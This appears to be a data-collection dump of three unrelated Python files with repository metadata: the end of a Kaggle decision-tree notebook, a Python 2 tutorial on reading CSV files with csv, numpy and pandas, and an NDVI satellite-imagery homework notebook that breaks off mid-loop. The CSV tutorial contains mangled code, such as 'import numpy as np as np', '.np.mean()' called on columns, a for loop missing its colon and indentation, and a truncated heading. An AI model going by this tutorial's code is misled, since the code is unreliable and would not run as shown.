oneHot(clean_X(combined, max_ordinality=100, int_ts=True))\ncleaned_train = cleaned_combined[cleaned_combined['id'].isin(train_features['id'])].sort_values(by=['id'])\ncleaned_test = cleaned_combined[cleaned_combined['id'].isin(test_features['id'])].sort_values(by=['id'])\n\n#%%\n\n\n#%%\nX_train, X_val, y_train, y_val = train_test_split(cleaned_train, train_targets, random_state=33)\n\n\n#%%\nfrom sklearn.pipeline import Pipeline\nimport sklearn.preprocessing as preprocessing\nfrom sklearn.tree import DecisionTreeClassifier\nimport sklearn.model_selection as model_selection\n\n\n#%%\ntrain_scores = []\ntest_scores = []\n\nmin_samples_range = list(range(2500,250,-50)) + list(range(250,50,-10)) + list(range(50,1,-1))\n\nfor i in min_samples_range:\n\tprint(i)\n\tdtc = DecisionTreeClassifier(\tmin_samples_leaf=i,\n\t\t\t\t\t\t\t\t\tcriterion='entropy',\n\t\t\t\t\t\t\t\t\trandom_state=i)\n\tpipeline = Pipeline([('DecisionTreeClassifier', dtc)])\n\n\tpipeline.fit(X_train, y_train)\n\n\ttrain_scores.append(pipeline.score(X_train, y_train))\n\ttest_scores.append(pipeline.score(X_val, y_val))\n\n#%%\nimport matplotlib.pyplot as pyplot\npyplot.rcParams['figure.facecolor'] = '#002B36'\npyplot.rcParams['axes.facecolor'] = 'black'\npyplot.rcParams['figure.figsize'] = (10,8)\n\npyplot.plot(min_samples_range, train_scores, label='Train')\npyplot.plot(min_samples_range, test_scores, label='Test')\npyplot.xscale('log')\npyplot.xlim(left=1000, right=1)\n# pyplot.gcf().axes[0].set_xticks(range(1000,-50, -5))\npyplot.title('Accuracy vs Minimum leaf size')\npyplot.xlabel('min_samples_leaf')\npyplot.ylabel('Accuracy score')\npyplot.legend()\npyplot.show()\n\n#%%\nmax(test_scores)\n\n#%%\n\ndtc = DecisionTreeClassifier(\tmin_samples_leaf=10,\n\t\t\t\t\t\t\t\tcriterion='entropy',\n\t\t\t\t\t\t\t\trandom_state=33)\npipeline = Pipeline([('DecisionTreeClassifier', dtc)])\npipeline.fit(X_train, y_train)\npipeline.score(X_val, y_val)\n\n#%%\n\ny_pred = pipeline.predict(cleaned_test)\nout_df = pandas.DataFrame(y_pred, index=cleaned_test['id'], columns=['status_group'])\nout_df['status_group'] = out_df['status_group'].replace({1: 'functional', 2: 'functional needs repair', 3: 'non functional'})\n\n#%%\nout_df = out_df.reset_index()\n\n#%%\nout_df\n\n#%%\nout_df.to_csv('./module1/results.csv', index=False)\n\n\n#%%\n\n", "meta": {"hexsha": "e788c024b42479d57fe26ad7cb3efbc78ae077f9", "size": 10512, "ext": "py", "lang": "Python", "max_stars_repo_path": "module1/assignment_kaggle_challenge_1.py", "max_stars_repo_name": "Lrizika/DS-Unit-2-Kaggle-Challenge", "max_stars_repo_head_hexsha": "da8e756eb519df290a965f1a96da65449c2d7ade", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "module1/assignment_kaggle_challenge_1.py", "max_issues_repo_name": "Lrizika/DS-Unit-2-Kaggle-Challenge", "max_issues_repo_head_hexsha": "da8e756eb519df290a965f1a96da65449c2d7ade", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "module1/assignment_kaggle_challenge_1.py", "max_forks_repo_name": "Lrizika/DS-Unit-2-Kaggle-Challenge", "max_forks_repo_head_hexsha": "da8e756eb519df290a965f1a96da65449c2d7ade", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.409252669, "max_line_length": 469, "alphanum_fraction": 0.7440068493, "include": true, "reason": "import numpy", "num_tokens": 2641, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42632160712508727, "lm_q2_score": 0.22270014398423355, "lm_q1q2_score": 0.09494188329034678}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# ## Examples using CSV files\n\n# Parsing comma-separtated-values (CSV) files is a common task. There are many tools available in Python to deal with this. Let's start by using the built-in `csv` module.\n\n# [147]\n\n\nimport csv  # using Python module\n\n\n# Now, we want to open an example file, and read the contents:\n\n# [148]\n\n\nf = open('example_1.csv', 'rb')  # use binary mode if on MS windows\nd = [i for i in csv.reader(f)]  # use list comprehension to read from file\nf.close()  # close file\nprint d\n\n\n# ### Adding new fields as columns\n\n# This reads the rows of the CSV file into a list-of-lists.\n#\n# Now, let's suppose we want to create columns for `last name`  and `first name` instead of having just one `name` field. The first element in the list `d` is the header, so we had the additional fields there:\n\n# [149]\n\n\nd[0].append('Last Name')\nd[0].append('First Name')\nprint d[0]\n\n\n# Now, we want to split the original `Name` field into first and last names and put these at the ends of their respective rows.\n\n# [150]\n\n\nfor row in d[1:]  # start at 1st, not 0th column. Each row is a list\nfirst, last = row[0].split()  # split on white-space\nrow.append(last)  # append to each row\nrow.append(first)\n\nprint d\n\n\n# [151]\n\n\n# %qtconsole\n\n\n# ### Writing updated CSV file\n\n# Now, we want to write out our new data in CSV format\n\n# [152]\n\n\nf = open('example_1_out.csv', 'wb')  # write mode binary\nfw = csv.writer(f)  # create csv writer\nfw.writerows(d)\nf.close()  # close file\n\n\n# Now, opening the file `example_1_out.csv` using excel (or another reader) should show the new column. That covers the most direct and pure-Python way to dealing with CSV files. However, there are many other tools available. For example, `numpy` provides power methods to access these files.\n\n# ## Using Numpy to parse CSV files\n\n# Let's see how to accomplish the same work as above by using Numpy.\n\n# [153]\n\n\nimport numpy as np as np\n\nd = np.loadtxt('example_1.csv', delimiter=',', dtype=str)\n\nprint d\nprint d.dtype\n\n\n# Notice that we did not have to use `open` to get at the contents of the file. By default, the `delimiter` is any whitespace, so we had to change this to the comma character. The `dtype` specifies we want everything to be read in as a string. Numpy can figure out how long that string needs to be as it goes through the file so we don't have to specify that ahead of time (we probably don't know it anyway). In this case, the `dtype` turns out to be a twelve character string `S12`. Note that this is the maximum length is used for *all* strings so there is obviously a lot of extra space if most of the strings are short and just a few are long.\n#\n# Numpy provides many more ways of reading data via the `dtype`. For example,\n\n# [154]\n\n\ndt = [('name', 'S64'),   # The first element of the tuple is our name for each respective column\n      # and the second element is the numpy dtype we want for that column.\n      ('dob', 'S64'),\n      ('years', 'int'),   # Here we want years as an integer, not a string\n      ('degree', 'S64'), ]\n\nd = np.loadtxt('example_1.csv', delimiter=',', dtype=dt,\n               skiprows=1)  # skip the header row\nprint d\n\n\n# The advantage of doing it this way is that now we can compute the `years` column using `numpy` tools. For example, here is the np.mean of the years.\n\n# [155]\n\n\nprint d['years'].np.mean()  # using numpy np.arrays\n\n\n# Now to get back to the main task at hand: splitting the name field into first and last name.\n\n# [156]\n\n\nimport string\n\nn = map(string.split, d['name'])\nw = np.array([tuple(i) + tuple(j) for i, j in zip(d, n)],    # list comprehension glues tuple-ized rows together\n             dtype=dt + [('first', 'S64'), ('last', 'S64')])  # append new dtypes to existing list of dtypes\n\n\n# That was kind of non-simple, but now we can write this to a CSV using `savetxt`.\n#\n\n# [157]\n\n\n# the comments are set to '' to avoid hash marks on the first line.\nnp.savetxt('np_output.csv', w, delimiter=',', fmt='%s',\n           header='name,dob,years,degree,first,last', comments='')\n\n\n# Now, you can inspect the so-generated file and verify it is a CSV.\n\n# ## Using pandas to parse CSV files\n\n# `pandas` is the real power tool for this job.\n\n# [158]\n\n\nimport pandas as pd\n\nd = pd.read_csv('example_1.csv')\nprint d\nprint type(d)\n\n\n# Now, we have read the CSV file as a `pandas` DataFrame which is a super-structure that sits on top of `numpy`. Let's examine the columns of this DataFrame.\n#\n\n# [159]\n\n\nprint d.columns\n\n\n# Notice that there is an extra space after the `Name `. This potentially makes it hard to access the columns using pandas slicing. For example,\n\n# [161]\n\n\n# this works great when the column header name has no spaces in it.\nprint d.DOB\nprint d['Name']  # you can also refer to columns using this syntax\n\n\n# Luckily, this is not hard to fix. We just need to create another column that is free of these trailing spaces:\n\n# [ ]\n\n\nd['name'] = d['Name ']  # easily create extra column\nprint d.name         # now you can access this column using this syntax\n\n\n# Pandas is a lot more powerful than this! We can parse the columns by types individually by providing a `dtype` for each column as a dictionary.\n\n# [ ]\n\n\nd = pd.read_csv('example_1.csv', dtype={\n                'Name ': 'S64', 'DOB': 'S64', 'Years': int, 'Degree': 'S64'})\nprint d\n\n\n# Now, we can compute along the columns as we did before with `numpy`.\n\n# [ ]\n\n\nprint d.Years.np.mean()\n\n\n# You can also parse the `DOB` field to get a true timestamp instead of a string using the `parse_dates` keyword.\n\n# [171]\n\n\nd = pd.read_csv('example_1.csv', dtype={'Name': 'S64',\n                                        'DOB': 'S64',\n                                        'Years': int,\n                                        'Degree': 'S64'}, parse_dates=[1])\n\n\n# Now, we can compute with these `datetime` objects as in the following.\n\n# [164]\n\n\n# difference in birthdays between Alice Jones and John Book\nprint d.DOB[0] - d.DOB[2]\n\n\n# Now we now how many days are between the respective birthdays of Alice Jones and John Book.\n\n# [ ]\n\n\nget_ipython().run_line_magic('qtconsole', '')\n\n\n# [166]\n\n\nd['first'] = map(lambda x: string.split(x)[0], d['Name'])\nd['last'] = map(lambda x: string.split(x)[1], d['Name'])\nprint d\n\n\n# [167]\n\n\nprint d\n\n\n# ## ject into a sqlite database\n\n# [170]\n\n\nimport pandas.io.sql as pd_sql\nimport sqlite3 as sql  # sqlite3 is built into Python\n\ncon = sql.connect(\"example_1.db\")\npd_sql.write_frame(d, 'data', con)  # write to DB as table named \"data\"\ncon.close()\n\n\n# [ ]\n\n", "meta": {"hexsha": "d223ec94f8904bdf41ce8dfd344e2a6929288253", "size": 6548, "ext": "py", "lang": "Python", "max_stars_repo_path": "Example_CSVs.py", "max_stars_repo_name": "tnakaicode/Python-for-Signal-Processing", "max_stars_repo_head_hexsha": "b610ca377564e115a0dbd5a8cdcc2ad195c3b162", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Example_CSVs.py", "max_issues_repo_name": "tnakaicode/Python-for-Signal-Processing", "max_issues_repo_head_hexsha": "b610ca377564e115a0dbd5a8cdcc2ad195c3b162", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Example_CSVs.py", "max_forks_repo_name": "tnakaicode/Python-for-Signal-Processing", "max_forks_repo_head_hexsha": "b610ca377564e115a0dbd5a8cdcc2ad195c3b162", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.578125, "max_line_length": 647, "alphanum_fraction": 0.6725717776, "include": true, "reason": "import numpy", "num_tokens": 1713, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4263215925474903, "lm_q2_score": 0.22270013366638425, "lm_q1q2_score": 0.0949418756451919}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name:** Rachel Michaels\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# 1.\tImport required packages\n# 2.\tDownload the data\n# 3.\tSet the working directory.\n# 4.\tCreate paths to sites\n# 5.\tCreate cloud mask \u2013 get the cloud pixel values from earthpy\n# 6.\tCreate a function to extract site name and datetime from directory path names, using the path to the directory that contains the information of interest and the date and site name location within that directory path as index lists as the function parameters\n# 7.\tCreate a function that will open, crop and specify valid ranges of a landsat band, using the path to the band, the cropping extent, and the valid range as function parameters\n# 8.\tCreate dataframe of mean NDVI\n#     a.\tCreate an empty list that will hold site, date, and mean NDVI information\n#     b.\tCreate a for loop to loop through site paths\n#             i.\tGet list of scene paths of both sites using glob\n#             ii.\tGet shapefiles for each site using glob and pulling out index 0\n#             iii.\tOpen shapefiles\n#             iv.\tCreate a nested for loop to loop through each scene\n#                 1.\tGo through each scene directory and pull out date and site information using the function created earlier in the notebook\n#                 2.\tGo through each scene and create sorted list of bands in each scene using glob. Only bands 4 and 5 are needed for calculating NDVI\n#                 3.\tGo through each scene and get qa pixel layers using glob and pulling out index 0. This will pop out each qa pixel layer as the loop loops through each scene so that it's not in list form and can be worked with\n#                 4.\tOpen the qa layer\n#                 5.\tCrop the qa layer using the shapefile opened in the first layer of the loop\n#                 6.\tCreate an empty list that will hold bands 4 and 5 once they are cleaned and free of clouds\n#                 7.\tCreate another for loop inside the already nested loop\n#                     a.\tClean the bands using the previously created function that will open the band, crop it using its associate shapefile, and specify landsat's valid range\n#                     b.\tApply cloud mask to band\n#                     c.\tAppend list so that it holds the cloud free bands. This list will be used to calculate mean NDVI\n#                 8.\tCalculate mean NDVI\n#                 9.\tAppend the mean NDVI to the list holding the site information (the function that pulled site and date information from scene directory paths created a list as the output)\n#                 10.\tAppend this list of lists to the empty list created outside the for loop at the top\n# 9.\tConvert list into a pandas dataframe\n# 10.\tSet index on date\n# 11.\tCreate figure\n#     a.\tSet figure space\n#     b.\tCreate overall figure title\n#     c.\tCreate a for loop to loop through dataframe and create individual dataframes grouped by site for plotting\n#     d.\tSet axes labels\n#     e.\tFormat date on x axis\n#     f.\tCreate a legend\n# 12.\tDrop na values from dataframe for exporting\n# 13.\tExport pandas dataframe to .csv file\n# 14. Create a figure that displays mean NDVI at the HARV and SJER locations over a year, with mean NDVI on the y-axis and the month on the x-axis using the pandas dataframe created in the previous step.\n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport rioxarray as rxr\nimport xarray as xr\nimport geopandas as gpd\nimport earthpy as et\nimport earthpy.mask as em\nfrom datetime import datetime\nimport numpy as np\nfrom matplotlib.dates import DateFormatter\n\n# Download the data\net.data.get_data('ndvi-automation')\n\n# Create a path to the directory\ndirectory_path = os.path.join(et.io.HOME, \"earth-analytics\", \"data\")\n\n# Set working directory\nos.chdir(directory_path)\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# In[4]:\n\n\n# Create paths to sites\nsite_paths = glob(os.path.join(\"ndvi-automation\", \"sites\", \"*\"))\nsite_paths\n\n# Create cloud mask\n# Get the cloud pixel values from earthpy\nhigh_cloud_confidence = (\n    em.pixel_flags[\"pixel_qa\"][\"L8\"][\"High Cloud Confidence\"])\ncloud = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud\"]\ncloud_shadow = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud Shadow\"]\n\nall_masked_values = cloud_shadow + cloud + high_cloud_confidence\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[5]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# Create functions to extract site name and datetime from directory path names and open, crop and specify valid ranges of a landsat band.\n\n# In[6]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\n# Function to extract sitename and datetime from directory path names\ndef extract_sitename_date(directory_path,\n                          sitename_location,\n                          datetime_location):\n    \"\"\"Extract sitename and datetime from directory path name.\n\n    Parameters\n    -----------\n    directory_path : string\n        A path to the directory name\n    sitename_location : index list\n        Index of sitename location in directory path name\n    datetime_location : index list\n        Index of datetime location in directory path name\n\n\n    Returns\n    -----------\n    list : list of site names and datetime information\n    \"\"\"\n    # Create an empty list to append sitename and date information\n    site_name_date_list = []\n\n    # Assign datetime location to an object\n    date_location = directory_path[datetime_location[0]: datetime_location[1]]\n\n    # Specify datetime format\n    format = \"%Y%m%d\"\n\n    # Use datetime and format to create date varibale\n    date = datetime.strptime(date_location, format)\n\n    # Assign sitename information to a variable\n    site = directory_path[sitename_location[0]: sitename_location[1]]\n\n    # Append site variable to list\n    site_name_date_list.append(site)\n\n    # Append date variable to list\n    site_name_date_list.append(date)\n\n    return site_name_date_list\n\n# Function to clean landsat bands\n\n\ndef open_clean_bands(band_path,\n                     crop_extent,\n                     valid_range=None):\n    \"\"\"Open, crop and specify valid ranges of a landsat band.\n\n    Parameters\n    -----------\n    band_path : string\n        A path to the array to be opened\n    valid_range : tuple (optional)\n        A tuple of min and max range of values for the data. Default = None\n\n\n    Returns\n    -----------\n    arr : xarray DataArray\n        An xarray DataArray with values that should be masked set to 1 for True (Boolean)\n    \"\"\"\n    # TODO add tests to ensure the arrays are the same .shape\n    band = rxr.open_rasterio(band_path, masked=True).rio.clip(crop_extent.geometry,\n                                                              from_disk=True).squeeze()\n\n    # Only run this step if a valid range tuple is provided\n    if valid_range:\n        mask = ((band < valid_range[0]) | (band > valid_range[1]))\n        band = band.where(~xr.where(mask, True, False))\n\n    return band\n\n\n# In[7]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Create path to HARV data\nharv_path = glob(os.path.join(\"ndvi-automation\", \"sites\", \"HARV\"))\n\n# Open and clean all HARV bands\nharv_scene_info = []\n\n# Create a loop to establish the scene directory path\n# glob is not necessary here, however it is for the larger workflow, which is\n# what is being demonstrated here\nfor path in harv_path:\n    # Establish the scene directory path that is of interest\n    scene_path = glob(os.path.join(path, \"landsat-crop\",\n                      \"LC080130302017031701T1-SC20181023151837\"))\n    # Set the path to the associated shapefile\n    bound = os.path.join(path, \"vector\", \"HARV-crop.shp\")\n    # Open the shapefile\n    harv_boundary = gpd.read_file(bound)\n\n    # Create a nested for loop to be able to work with each .tif file (band)\n    # in the scene, again this is necessary when working with multiple scenes\n    for tif in scene_path:\n        # Get site and date info from the scene directory path\n        site_info = extract_sitename_date(tif, [22, 26], [50, 58])\n        # Sort the bands using glob so that they are in the right order\n        # Only bands 4 and 5 are needed\n        harv_bands = sorted(glob(os.path.join(tif, \"*band[4-5]*\")))\n        # Set the path to the qa layer in the scene directory\n        qa_layer_path = os.path.join(tif,\n                                     \"LC08_L1TP_013030_20170317_20170328_01_T1_pixel_qa.tif\")\n        # Open the qa layer\n        opened_layer = rxr.open_rasterio(qa_layer_path, masked=True)\n        # Crop the qa layer using the boundary associated with the scene and\n        # opened in a previous step\n        cropped_layer = opened_layer.rio.clip(harv_boundary.geometry).squeeze()\n\n        # Create an empty list to store bands after they are cleaned of clouds\n        tif_bands = []\n        # Create an additional loop that is nested inside the other two that will\n        # be used to work with each band inside the scene directory\n        for a_band in harv_bands:\n            # Clean the band using the previously created function\n            # The function opens, crops, and sets landsat's valid range\n            clean_band = open_clean_bands(\n                a_band, harv_boundary, valid_range=(0, 10000))\n            # Apply the cloud mask to the clean band\n            cloud_free_band = clean_band.where(\n                ~cropped_layer.isin(all_masked_values))\n            # The band to the empty list that will be used to calculate mean NDVI\n            tif_bands.append(cloud_free_band)\n\n        # Calculate mean NDVI using the list that is storing the clean bands\n        # that are free of clouds\n        mean_ndvi = np.nanmean(\n            (tif_bands[1]-tif_bands[0]) / (tif_bands[1]+tif_bands[0]))\n        # Append the mean NDVI to the list that was the result of the function\n        # that grabbed site and date information from the scene directory path name\n        site_info.append(mean_ndvi)\n        # Append this lists of lists to the list outside of the nested for \n        # loops at the top\n        harv_scene_info.append(site_info)\n\n# Convert list into a pandas dataframe\nharv_info_df = pd.DataFrame(harv_scene_info, columns=[\n                            \"site\", \"date\", \"mean_ndvi\"])\n\n# Set index\nharv_date_as_index = harv_info_df.set_index(\"date\")\n\n# Call dataframe\nharv_date_as_index\n\n\n# In[8]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# 1. Create dataframe of mean NDVI a. Create an empty list that will hold site, date, and mean NDVI information b. Create a for loop to loop through site paths\n#         i.    Get list of scene paths of both sites using glob\n#         ii.    Get shapefiles for each site using glob and pulling out index 0\n#         iii.    Open shapefiles\n#         iv.    Create a nested for loop to loop through each scene\n#             1.    Go through each scene directory and pull out date and site information using the function created earlier in the notebook\n#             2.    Go through each scene and create sorted list of bands in each scene using glob. Only bands 4 and 5 are needed for calculating NDVI\n#             3.    Go through each scene and get qa pixel layers using glob and pulling out index 0. This will pop out each qa pixel layer as the loop loops through each scene so that it's not in list form and can be worked with\n#             4.    Open the qa layer\n#             5.    Crop the qa layer using the shapefile opened in the first layer of the loop\n#             6.    Create an empty list that will hold bands 4 and 5 once they are cleaned and free of clouds\n#             7.    Create another for loop inside the already nested loop\n#                 a.    Clean the bands using the previously created function that will open the band, crop it using its associate shapefile, and specify landsat's valid range\n#                 b.    Apply cloud mask to band\n#                 c.    Append list so that it holds the cloud free bands. This list will be used to calculate mean NDVI\n#             8.    Calculate mean NDVI\n#             9.    Append the mean NDVI to the list holding the site information (the function that pulled site and date information from scene directory paths created a list as the output)\n#             10.    Append this list of lists to the empty list created outside the for loop at the top\n#             \n# The below cell runs quickly and efficiently by using loops and functions to process data, which minimize repetition.\n\n# In[9]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Create an empty list that will hold site, date, and mean ndvi information\nall_site_info = []\n\n# Create a for loop to loop through site paths\nfor site in site_paths:\n    # Get list of scene paths of both sites using glob\n    dirs = glob(os.path.join(site, \"landsat-crop\", \"*\"))\n    # Get shapefiles for each site using glob and pulling out index 0\n    bounds = glob(os.path.join(site, \"vector\", \"*-crop.shp\"))[0]\n    # Open shapefiles\n    opened_bound = gpd.read_file(bounds)\n\n    # Create a nested for loop to loop through each scene\n    for all_dirs in dirs:\n        # Go through each scene directory and pull out date and site\n        # information using the function created earlier in the notebook\n        site_info = extract_sitename_date(all_dirs, [22, 26], [50, 58])\n        # Go through each scene and create sorted list of bands in each scene\n        # using glob. Only bands 4 and 5 are needed for calculating NDVI\n        scene_bands = sorted(glob(os.path.join(all_dirs, \"*band[4-5]*\")))\n        # Go through each scene and get qa pixel layers using glob and pulling\n        # out index 0. This will pop out each qa pixel layer as the loop loops\n        # through each scene so that it's not in list form and can be worked with\n        qa_layer_paths = glob(os.path.join(all_dirs, \"*pixel_qa*\"))[0]\n        # Open the qa layer\n        opened_layer = rxr.open_rasterio(qa_layer_paths, masked=True)\n        # Crop the qa layer using the shapefile opened in the first layer of\n        # the loop\n        cropped_layer = opened_layer.rio.clip(opened_bound.geometry).squeeze()\n\n        # Create an empty list that will hold bands 4 and 5 once they are\n        # cleaned and free of clouds\n        site_bands = []\n\n        # Create another for 